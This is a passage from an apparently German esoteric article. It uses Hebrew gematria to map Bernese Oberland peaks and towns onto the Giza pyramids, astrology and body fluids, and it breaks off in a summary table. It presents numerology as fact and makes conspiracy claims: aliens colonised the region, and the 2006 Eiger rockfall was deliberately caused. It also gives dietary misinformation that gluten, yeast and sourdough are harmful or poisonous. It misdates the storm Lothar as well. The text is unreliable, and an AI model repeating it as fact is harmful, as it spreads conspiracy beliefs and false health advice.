Vorherrschaft) und MChWG HDQWTh für „Minutenanzeiger“:<o:p /></span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><span>Das <strong>„Supremat“</strong> verweist eindeutig auf ein alles beherrschendes,
     jedoch willkürlich organisiertes „Zentrum der Welt“, hier mit dem
     Ausgangspunkt „Interlaken“. <o:p /></span></li><li class="MsoNormal"><span>Der <strong>„Minutenanzeiger“</strong> ist eine Metapher für die Tatsache, dass 60
     Minuten je Stunde pro 24-Stunden-Tag die Summe 1440 ergeben, also eine
     apokalyptische Zahl anstelle der üblichen 360°-Zahl für den Kreis.<o:p /></span></li></ul>

<p class="MsoNormal"><span>Die
Ab- und Ausgrenzung der „Ausserirdischen“ von der übrigen Menschheit ist eine wohl
nur in der hebräischen Sprache deutlich erkennbare Alternative. Denn neben ARTs
für „Erde, Land“ existiert noch YWLM für „Welt, Ewigkeit“, und genau hier haben
sich die dann „Ausserirdischen“ wohl angesiedelt, oder, noch treffender
ausgedrückt, „kolonisatorisch niedergelassen“. Und das, so scheint es, in dem
weltweit gesehen doch eher „unscheinbaren Fleckchen“ Erde, dem ich den Namen
„zentrales Berner Oberland“ verliehen habe. Doch im Alten Ägypten entspricht
dies dem dort ebenfalls praktizierten Prinzip der bis heute rätselhaft
gebliebenen „Hyksos“, die das Land in einer längeren Periode beherrschten, den
Zehnten erhoben und sich dennoch „irgendwo“ verschanzten.<o:p /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span>Alt-Ägypten in
der Schweiz<o:p /></span></strong></p>

<p class="MsoNormal"><span>Schon
vor langer Zeit kam ich, und wohl nicht nur ich, auf die Idee, das Dreigestirn
Eiger-Mönch-Jungfrau mit den drei Pyramiden von Gizeh gleichzusetzen, zumal
sich ja auf dem Jungfraujoch noch die Station „Sphinx“ befindet. Diesen
Grundgedanken habe ich hier nun wieder neu belebt. Nimmt man eine Landkarte vom
Grossraum Kairo mit dem Eintrag der antiken Stätten zur Hand [Baines 135], so
ergibt sich einerseits eine Analogie zwischen Grindelwald und der nachmaligen
Nekropole „Memphis“ und andererseits zwischen Lauterbrunnen und „Alt-Kairo
(Babylon)“. Die vier Orte Thun, Gunten, Interlaken und Spiez müssten dann in
Analogie irgendwo in der östlichen Wüste liegen, oder aber, spiegelverkehrt und
höchstwahrscheinlich richtig, in der gewaltigen Seeoase Faijum westlich des
Niltals, ein in antiker Zeit bewohntes Gebiet. Wichtig ist bei diesen Gegenüberstellungen,
dass es nicht auf Grössenvergleiche ankommt, sondern auf die von diesen Orten
ausgehende geistige Wirkkraft. Die kann sich sogar in einem unscheinbaren
Einfamilienhaus befinden.<o:p /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span>Die
„Tempelanlage“ wird in Helvetien gesucht und errichtet<o:p /></span></strong></p>

<p class="MsoNormal"><span>Seit
ewigen Zeiten werden in China der Geomantenkompass („luopan“) <span>&nbsp;</span>und ein damit vertrauter Fachmann (heute:
„Fengshui“-Experte) zu Rate gezogen, wenn ein Gebäude erstellt und zuvor seine
genaue Ausrichtung und umgebungsbezogene Besonderheiten festgelegt werden
sollen. Handelt es sich um einen grösseren Baukomplex (Beispiel: die „Verbotene
Stadt“ in Peking), beansprucht ein solches Projekt ein umfassenderes Team, das
die unterschiedlichsten Abklärungen mit oftmals erheblichem Zeitaufwand treffen
muss, bevor überhaupt der erste Spatenstich erfolgt. So etwa muss man sich auch
den Ursprung des nachfolgend beschriebenen Projektes „Zentrales Berner
Oberland“ vorstellen: Ausgehend von einem vorgegebenen, grundlegenden
Masterplan, der einerseits die „zehn Planeten“ der chaldäischen Astrologie
geordnet umfasste, andererseits auch die esoterische Basis-Struktur der Pyramiden
von Gizeh und ihrer „Umgebung“ enthielt, vor allem aber das sich dahinter
verbergende Geheimwissen über die Struktur und Funktionsweise der menschlichen
Seele, wurde ein zunächst grob in Aussicht genommene Gebiet nach allen Seiten
hin vermessen und geprüft. Nachdem eine geographische Struktur erkennbar war,
die den Vorgaben weitestgehend entsprach, wurde definitiv die nachfolgend aufgezeigte
geologische „Tempelanlage“ bezogen, ausgebaut und mit adäquaten Namen belegt. <o:p /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span>Der
„Eiger-Komplex“ als Teil der Matrix der Seele<o:p /></span></strong></p>

<p class="MsoNormal"><span>Diese
gewaltige Anlage beginnt zunächst mit einem geographisch vorgegebenen
Gebirgskomplex, der der „Schatzkammer“ des Tempels entspricht:<o:p /></span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><strong><span>KNOCHENMARK</span></strong><span> = <strong>„Eiger“</strong>
     AJ-GJR: 5 Zeichen, Wertsumme 224, Bedeutung <em>„die</em> <em>Kalk-Insel“</em>.
     Tatsächlich besteht der Eiger <em>„komplett
     aus Kalk“</em> (wikipedia), ein Hinweis auf die Wirbelsäule. Doch GJR bedeutet
     auch „Schaum“, ein Synonym für das Knochenmark. Der gewaltige Felssturz am
     Eiger vom 13.7.2006, bei dem rund 500&#8242;000 Kubikmeter Felsbrocken
     abbrachen, wurde (zumal bis heute über die wirklichen Ursachen gerätselt
     wird) meines Erachtens von den Wissenden mit Vorsatz herbeigeführt, um ein
     markantes Zeichen zu setzen. Das gilt auch für die forcierte Herausforderung
     der berüchtigten Eiger-Nordwand und die vielen dort tödlich verunglückten
     Bergsteiger, was als Metapher für den Sterbeprozess anzusehen ist, der bei
     sportlicher Überanstrengung vom Rückenmark ausgeht: „Sport ist Mord“
     (Winston Churchill). Als Analogie zum Eiger ist die Mykerinos-Pyramide in
     Gizeh anzusehen, ein jämmerlich zerbrochener Steinhaufen. Dass diesem Feld
     in der Matrix der Seele astrologisch die „Sonne“ zugeordnet ist, geht auf
     das „Gold“ des Knochenmarks zurück, hat aber beispielsweise auch in der
     (angeblich) „futuristischen“ Oper <em>„Sieg</em>
     <em>über die Sonne“</em> (1913) des
     russischen Künstlers Kasimir Malewitsch seinen Niederschlag gefunden (<em>„Sonne, du hast Leidenschaften
     geboren./ Und hast mit entzündetem Strahl</em> <em>gebrannt“</em>) – siehe „Brandstifter“. Auf Malewitsch geht
     übrigens die Kunstrichtung des „Suprematismus“ zurück [Simmen 30/64]. Der
     Eiger ist <strong>3970</strong> m hoch, zum
     reduzierten Wert 397 existiert die hebräische Sequenz BARTs-MDJN „im Lande
     Midjan“ (Ex 2,15), das ausserhalb von „Ägypten“ liegt und hier ein Hinweis
     wäre auf die Ebene, wo die „Ausserirdischen“ leben.<o:p /></span></li><li class="MsoNormal"><strong><span>LYMPHE</span></strong><span> = <strong>„Mönch“</strong>
     H-NZJR: 5 Zeichen, Wertsumme 272, biblische Bedeutung <em>„der</em> <em>Geweihte
     (Naziräer), der sich wegen seiner Bindung an Jahwe verschiedener Dinge
     enthält“</em> [Gesenius 494]. Ihm ist astrologisch der „Mond“ zugeordnet
     sowie als Analogie die Chepren-Pyramide von Gizeh. Zur amtlichen Höhe von
     4107 m: Eine erneute luftfotogrammetrische Messung von 1999 ergab „eine
     Höhe von <strong>4110</strong>“, was auf
     amtlichen Karten nicht berücksichtigt wird (wikipedia). Doch zum
     reduzierten Wert 411 existiert die hebräische Sequenz JWM HKPRJM für „Jom
     Kippur“, dem „Versöhnungstag“. Die Zahl 4110 ergibt zusammen mit 3970 des
     Partners Eiger die Summe 8080, zum reduzierten Wert 808 existiert die
     hebräische Sequenz ShLM BNPShW für „Frieden in seiner Seele“, eine Aussage
     für die kommende Erlösung.<o:p /></span></li><li class="MsoNormal"><strong><span>GALLE</span></strong><span> = <strong>„Jungfraujoch“</strong>
     H-YL HBThWLH: 9 Zeichen, Wertsumme 553. Die Konsonantenbasis lässt sich
     auch übersetzen als <em>„das
     Ganzbrandopfer (= Holocaust) in</em> <em>Thule“</em>,
     was Erinnerungen an Nazi-Deutschland und die Thule-Gesellschaft wachruft.
     Astrologisch ist diesem Feld der Mars, der „rote Planet“, zugeordnet, der
     physiologisch für das Eisen steht, das wiederum durch das „Schwert“
     symbolisiert wird. Die Analogie zum Gizeh-Komplex ist die dortige Sphinx,
     doch, o Wunder, so heisst auch die prominente Station der
     Jungfraujoch-Bahn, die übrigens, wie andeutungsvoll, durch den Eiger
     getunnelt wurde! Dieser touristische Gipfelpunkt wird als „Top of Europa“
     bezeichnet, doch das ist unbekannter Weise gleich doppelt doppeldeutig: (1)
     Das bibelhebräische Verb ThWP („top“) führt zu dem Namen ThPTh „tofet“ für
     den <em>„Ort im Tale Bné Hinnom bei
     Jerusalem, Sitz des Molochdienstes … Das Wort … betrachtet XX als ein</em> <em>aramäisches Lehenswort ‚Feuerstätte’“</em>
     [Gesenius 887]. In der modernen Welt wird der Kinder fressende Moloch unbekannter
     Weise durch die Allegorie der „Justitia“ dargestellt: Die Augen verbunden,
     in der einen Hand das Schwert (= Galle), in der anderen die Waage (= 3.
     Siegel der Apokalypse, „Schwarzes Pferd; Weizen oder Gerste“). (2) Das
     hebräische Wort für „Europa“ wird AJRWPH geschrieben und bedeutet <em>„nicht heilbar“</em>. Das ist allein auf
     die Galle zurückzuführen und deren Aktivierung hier wiederum auf den „Genuss“
     von Weizen (Wirkstoff „Gluten/Kleber“).<o:p /></span></li><li class="MsoNormal"><strong><span>BLUT</span></strong><span> = <strong>„Jungfrau“</strong>,
     BThWLH „Betulah“: 5 Zeichen, Wertsumme 443. Astrologisch zugeordnet ist
     der Planet Merkur (griechisch „Hermes“), als Allegorie der Götterbote,
     dessen Schuhe und Helm geflügelt sind, was die Verbindung zwischen „Unten“
     und „Oben“ symbolisiert. Die Entsprechung zu Gizeh ist die weltberühmte
     Cheops-Pyramide, eines der Sieben Weltwunder. <o:p /></span></li></ul>

<p class="MsoNormal"><span>Diese
vier Positionen, die im „zentralen Berner Oberland“ dem Eiger-Komplex
entsprechen, ergeben zusammen <strong>24</strong> Konsonanten
und die Wertsumme <strong>1492</strong>. Die Zahl 24
repräsentiert den Tageskreis der Sonne mit seinen vier Signal-Zeitpunkten, die
Zahl 1492 ist eine numerische Metapher für den „Auszug der Juden aus Sepharad“
und den „Beginn der Neuzeit“.<o:p /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span>Das Geheimnis
von Lauterbrunnen und Grindelwald<o:p /></span></strong></p>

<p class="MsoNormal"><span>Nun
beginnt erst das Leben, denn wir verlassen jetzt die leblose Bergwelt und
kommen in zwei bewohnte Siedlungen auf halber Höhe zwischen „Berg und Tal“.
Durch vier hier vorkommende Begriffe fällt mir spontan das Kinderlied ein: <em>„<strong>Zwischen Berg</strong> und tiefem, tiefem <strong>Tal</strong> sassen einst <strong>zwei</strong> Hasen, frassen ab das grüne, grüne Gras …, bis auf den Rasen“</em> (vom Anfang des 19. Jahrhunderts).
Der „Hase“ (Ostern) ist wegen seiner Fruchtbarkeit <em>„Symbol des Lebens“</em>, als Nachttier ist er ein lunares Symbol
[Lurker 257], das indes auch an das Judentum erinnert mit seinem Mondkalender
und dem Tag, der bei Sonnenuntergang beginnt. Das alles scheint hier nun sehr
trefflich zu passen:<o:p /></span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><strong><span>NÄHRBODEN</span></strong><span> = <strong>„Lauterbrunnen“</strong>
     LW-ThAR-BR-AN-NJN, 12 Zeichen, Wertsumme 1000, Sofitwert 2300, mit der Bedeutung:
     <em>„’36’ ist dein Fluss, rein/lauter
     ist On’s (= Sonnenstadt = Heliopolis)</em> <em>Nachkomme“</em>. Die Zahl 36 ergibt sich, wenn man die 12 Zeichen
     dieses Ortes mit den 24 Zeichen der oben beschriebenen Berge
     zusammenzählt, das heisst es wäre an sich die Sache der göttlichen
     Nährbodens, das Knochenmark und die Lymphe laufend zu sättigen (=
     regenerieren) und jene Art von Blut zu produzieren, die die Galle
     deaktiviert, den kerngesunden Stoffwechsel herbeiführt und die aerobe
     Lebenskraft permanent am Leben erhält. Das wären also die 36 Zaddikim (=
     Gerechte) der jüdischen Mystik, auf denen die Welt steht. Dann braucht es
     keine Zehn Gebote mehr, weil man den Weg gefunden hat, um sündenfrei zu
     leben. Astrologisch ist diesem göttlichen Feld der Pluto zugeordnet, der <em>„mächtigste von</em> <em>allen Planeten“</em> (siehe oben). Hier
     ist der Berg Sinai zu finden, aber auch der jüdische Gott „Jahwe“ sowie
     der islamische Gott „Allah“ – die beide dieselbe Funktion der laufenden
     Ernährung von „lebenden Substanzen“ auch im Weltall ausüben. Diesem Feld
     entspricht der historische Ort „Alt-Kairo“, der auch als „Babylon“
     bezeichnet wird [Baines 135].<span>&nbsp; </span>Die
     hebräische Sequenz LW-ThAR lässt sich übrigens auch „Lothar“ aussprechen
     und erinnert an den verheerenden Orkan, der am 26.12.2001 durch die
     Schweiz zog. Der Wert 1000 ist eine numerische Metapher für die Ewigkeit,
     der Sofitwert 2300 eine solche für eine Menschheitsgeneration oder ein
     Äon.<o:p /></span></li><li class="MsoNormal"><strong><span>LEBENSKRAFT</span></strong><span> = <strong>„Grindelwald“</strong>
     GR-J-ND-AL-WLD, 10 Zeichen, Wertsumme 338, mit der Bedeutung: <em>„Ich bin ein Fremder, ein Neugeborener
     in Gottes Wasserturm“. </em>Der „Neugeborene“ korrespondiert mit dem zuvor
     aufgeschienen „Nachkommen“, die beide die laufende Erneuerung des Lebens
     durch Atmung und Nahrung meinen. Der „Wasserturm“ ist eine Metapher für
     den Blut- und Lymphkreislauf im aufrecht lebenden Menschen. Zur Wertsumme
     338 existiert das hebräische Wort ShLCh mit der Aussprache „Schiloah“, der
     geheimnisvollen „Wasserleitung in Jerusalem“, die zur Marienquelle (=
     Jungfrau = Blut) führt. Doch ShLCh lässt sich auch als „Schiloh“
     aussprechen und betrifft dann den Jakobssegen in Gn 49,10, wonach Jehudas
     das Szepter abgeben muss, „wenn der aus Schiloh kommt“. Der Ort entspricht
     der altägyptischen Stadt Memphis, der nachmaligen Nekropole (= Jesus am
     Kreuz), astrologisch ist ihm der Jupiter zugeordnet. Hier sind auch die
     Allegorien des Jesus und des Mohammed einzuordnen. <o:p /></span></li></ul>

<p class="MsoNormal"><span>Die
beiden Orte ergeben zusammen <strong>22</strong>
Konsonanten, die Wertsumme <strong>1338 </strong>und
den Sofitwert <strong>2638</strong>. Die „22
Konsonanten“ sind hier eine Metapher für die 22 verschiedenen Konsonanten des
hebräischen Alphabets mit der Aussage, dass durch diese beiden Felder alles
Existierende zum geistigen Ausdruck gebracht und beschrieben werden kann:
Materie und Leben, die erst zusammen des Bewusstsein erzeugen. Zum Wert 1338
existiert die hebräische Sequenz YL BRKTh HThWRH „gemäss dem Lobpreis der
Tora“, das heisst die Qualität des Nährbodens und damit der Lebenskraft hängt
von der Beachtung des göttlichen Gesetzes ab. Zum Wert 2638 existiert die
Sequenz ThShMJYNJ BShWRH TWBH BMHRH WThWTsJANJ MAPLH LAWRH [Gematrikon II 450]
mit meiner Übersetzung „Du hörst von Mir die gute Botschaft bald und dir
schicke Ich die Dunkelheit weg bei Tagesanbruch“. Mit der „guten Botschaft“ ist
hier das Wissen um die Bedeutung des allmorgendlichen konkreten „Silberstreifens
am Horizont“ gemeint, durch den die Zeit der Morgenröte eingeleitet wird und
durch dessen Beachtung die Dunkelheit des Wissens verschwindet.<o:p /></span></p>

<p class="MsoNormal"><span>Zählt
man die entsprechenden Totalzahlen der vier Berge hinzu, ergeben sich als neuen
Summen <strong>46</strong> Konsonanten, die Wertsumme
<strong>2830</strong> und der Sofitwert <strong>4130</strong>. Zum Wert 46 existiert das
Adjektiv ALHJ für „heilig“, zum reduzierten Wert 283 die Abbreviatur A“Ch mit
der Auflösung AWRCh ChJJM für „Lebensweg“ und zu 413 die Sequenz TsWR MYZ aus
Jes 17,10 für „Schutzwehr“, was man zu einem Satz verbinden kann: „Der heilige
Lebensweg ist die Schutzwehr“, mithin eine Umschreibung von „Heilsweg“.<o:p /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span>Das „Kleeblatt“
des Schicksals am Thunersee<o:p /></span></strong></p>

<p class="MsoNormal"><span>Der
natürliche Anfang in der Abfolge der vier Städte, die um den Thunersee herum
gelegen sind, ist in Thun, denn dieses entspricht in Analogie der Morgenröte
und der „guten Botschaft“, die gerade zuvor erklärt wurde:<o:p /></span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><strong><span>REINES WASSER</span></strong><span> = <strong>„Thun“</strong>
     Th-HWN: 4 Zeichen, Wertsumme 461, Sofitwert 1111, mit der Bedeutung: <em>„Dein Vermögen“</em> (im Sinne eines Potentials).
     Diesem Feld sind die Zeit der Morgenröte, der Evangelist Lukas (Stier) und
     astrologisch die Venus (= Morgenstern) zugeordnet. Die PLZ 3600 (= 60 x
     60) entspricht der nach 60 nächstgrösseren Einheit im sumerischen Sexagesimalsystem
     mit dem unabhängigen Namen „schàr“ [Ifrah 71], was hebräisch ShYR und
     damit „Tor“ sowie „Wert, Mass“ bedeutet [Gesenius 855]. Gematria: Zum Wert
     461/1111 existiert das bibelhebräische Wort AJThN für „fest, dauerhaft;
     von Menschen, lange leben; besonders von Strömen: immerfliessend“
     [Gesenius 33]. Zum Wert 1111 existiert das Wort HShThWTh in Ps 11,3 für
     „die Grundfesten“. Zur Höhenlage 560 m: Zum Wert 560 existiert die Sequenz
     BN ShChR in Jes 14,12 für „Sohn der Morgenröte“. Dieses Feld
     korrespondiert mit dem Feld „Lymphe“.<o:p /></span></li><li class="MsoNormal"><strong><span>FREIES RADIKAL</span></strong><span> = <strong>„Gunten“</strong>
     GW-NThN: 5 Zeichen, Wertsumme 609, Sofitwert 1259, mit der Bedeutung: <em>„Rücken geben“</em>, das heisst das
     Knochenmark und die Wirbelsäule werden regeneriert. Das entspricht der
     sauerstoffdurchtränkten Zeit des Vormittags, dem Evangelisten Markus
     (Löwe) und astrologisch dem Saturn. Das Jahr 2007 ist ein Saturn-Jahr, das
     Jahr der Erlösung. Gunten ist ein winziger Ort am See, was der atomaren
     Winzigkeit des freien Radikals entspricht. <em>Gematria</em>: Zum Wert 609 existiert die Pluralform BARWTh für
     „Brunnen“, was besagt, dass hier immer nur eine ganz bestimmte Menge an
     Energie individuell geschöpft werden kann, was sich aber Tag für Tag
     wiederholen lässt. Zum Wert 1259 existiert die Sequenz ANJ RAShWN WANJ
     AChRWN WMBLYDJ AJN ALHJM [Gematrikon II 102], das buchstäblich Jes 44,6
     entspricht mit der Bedeutung „Ich bin der Erste und Ich bin der Letzte,
     und ausser Mir gibt es keinen Gott“ [Zunz III 713]. Dieses Feld
     korrespondiert mit dem Feld „Knochenmark“ und bedeutet dauerhafte
     Regeneration: „Ewig jung“!<o:p /></span></li><li class="MsoNormal"><strong><span>EIWEISS/HEFEPILZ</span></strong><span> = <strong>„Interlaken“
     </strong>YJN-ThR-L-QJN: 9 Zeichen, Wertsumme 920, Sofitwert 2220, mit der
     Bedeutung: <em>„Klagenquellen-Reihe“</em>,
     das heisst, hier lassen sich die Ursachen aller späteren Klagen aufzählen.
     Das entspricht der Zeit des Nachmittags, in der die Sauerstoffproduktion
     der Pflanzen bis auf den Nullpunkt zurückgeht, weshalb hier ein behutsames
     Verhalten angebracht ist, da man andernfalls die eigenen Reservekräfte
     mobilisiert. Wir sind hier auf der Nahrungsebene und bestimmte
     Eiweiss-Stoffe sind schädlich oder gar Gifte und verstärken den zuvor
     beschriebenen negativen Effekt, vor allem alle Nahrung mit Hefe und
     Sauerteig. Diesem Feld ist der Evangelist Johannes (Adler) zugeordnet (dem
     die synoptischen anderen drei Evangelisten gegenüberstehen) sowie
     astrologisch der Uranus. <em>Gematria</em>:
     Zum Wert 920 existiert die hebräische Sequenz HTsD HShNJ ShL HMTBY für
     „die Kehrseite der Medaille“. Dies Feld ist also bivalent und der Schalter
     für „aerob“ oder „anaerob“, was auch in der Mittelstellung von Interlaken
     zwischen dem Thunersee und dem Brienzer See zum Ausdruck kommt, die
     vermutlich diese beiden alternativen Zustände verkörpern. Die
     Alternativfunktion kommt auch im reduzierten Wert 222 zum Ausdruck, denn
     das hebräische Verb BRK hat diesen Wert und bedeutet „knien“ oder
     „segnen“, nicht aber beides zugleich. Die PLZ 3800 lässt sich auf 380
     reduzieren, zu diesem Wert existiert der hebräische Name MTsRJM
     „Mitsrajim“ für das Sklavenhaus „Ägypten“. Dieses Feld korrespondiert mit
     dem Feld „Galle“.<o:p /></span></li><li class="MsoNormal"><strong><span>KOHLEHYDRATE/BAKTERIEN</span></strong><span> = <strong>„Spiez“</strong> SP-J YTs: 5 Zeichen, Wertsumme 310, Sofitwert 1120,
     mit der Bedeutung: <em>„Meine
     Holzschwelle“</em>, ein Hinweis auf den Kohlenstoff als Bauelement für das
     tragende Knochengerüst. Diesem Feld ist die Nacht und der Evangelist
     Matthäus (= Engel) zugeordnet, astrologisch der Neptun. Das Feld
     korrespondiert mit dem Feld „Blut“ und zum Wert 310 existiert der Begriff
     MChZWR HDM für „Blutkreislauf“. <o:p /></span></li></ul>

<p class="MsoNormal"><span>Die
vier hebräisierten Ortsnamen ergeben total <strong>23</strong>
Zeichen, die damit korrespondierende Wertsumme <strong>2300</strong> (siehe oben zu „Lauterbrunnen“) und den Sofitwert 5710. <em>Gematria</em>: Zum Wert 23 existiert der
hebräische Begriff ChJH für „Lebewesen“, das heisst dieses als solches sowie
die Qualität seine materiellen Gefüges und seiner Lebenskraft ergeben sich aus
der Kombination der hier zugeordneten vier Elemente auf den Ebenen Atmung und
Nahrung. Zum reduzierten Wert 571 existiert die Sequenz JSWD HJSWDWTh für „die
Grundlage der Grundlagen“, was das zuvor Gesagte bestätigt. Ein weiterer
Begriff zum Wert 571 ist ShBT WMChWQQ für „Szepter und Herrscherstab“, das
heisst hier, wer diese vier Elemente „im Griff“ hat, hat auch sein Leben im
Griff und ist sein eigener Herr.</span></p><p>

</p>

<div align="center">

<table cellspacing="0" cellpadding="0" border="1" style="border: medium none ; border-collapse: collapse;" class="MsoTableGrid">
 <tbody><tr>
  <td width="614" valign="top" style="border: 1pt solid windowtext; padding: 0mm 5.4pt; width: 460.6pt;" colspan="6">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Zusammenfassende Übersicht „Zentrales Berner
  Oberland“ und dessen Analogien<o:p /></span></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><em><span lang="DE-CH" style="font-size: 8pt;">Matrix
  Seele<o:p /></span></em></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><em><span lang="DE-CH" style="font-size: 8pt;">Berner
  Oberland<o:p /></span></em></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><em><span lang="DE-CH" style="font-size: 8pt;">Alt-Ägypten<o:p /></span></em></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><em><span lang="DE-CH" style="font-size: 8pt;">Astrologie<o:p /></span></em></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><em><span lang="DE-CH" style="font-size: 8pt;">Chemie<o:p /></span></em></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><em><span lang="DE-CH" style="font-size: 8pt;">Antike
  Lehre<o:p /></span></em></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Knochenmark<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH" style="font-size: 8pt;">Eiger<o:p /></span></strong></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Mykerinos<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Sonne<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Gold<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">„warm“<o:p /></span></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Lymphe<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH" style="font-size: 8pt;">Mönch<o:p /></span></strong></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Chepren<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Mond<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Silber<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">„feucht“<o:p /></span></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Galle<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH" style="font-size: 8pt;">Jungfraujoch<o:p /></span></strong></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Sphinx<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Mars<o:p /></span></p>
  </td>
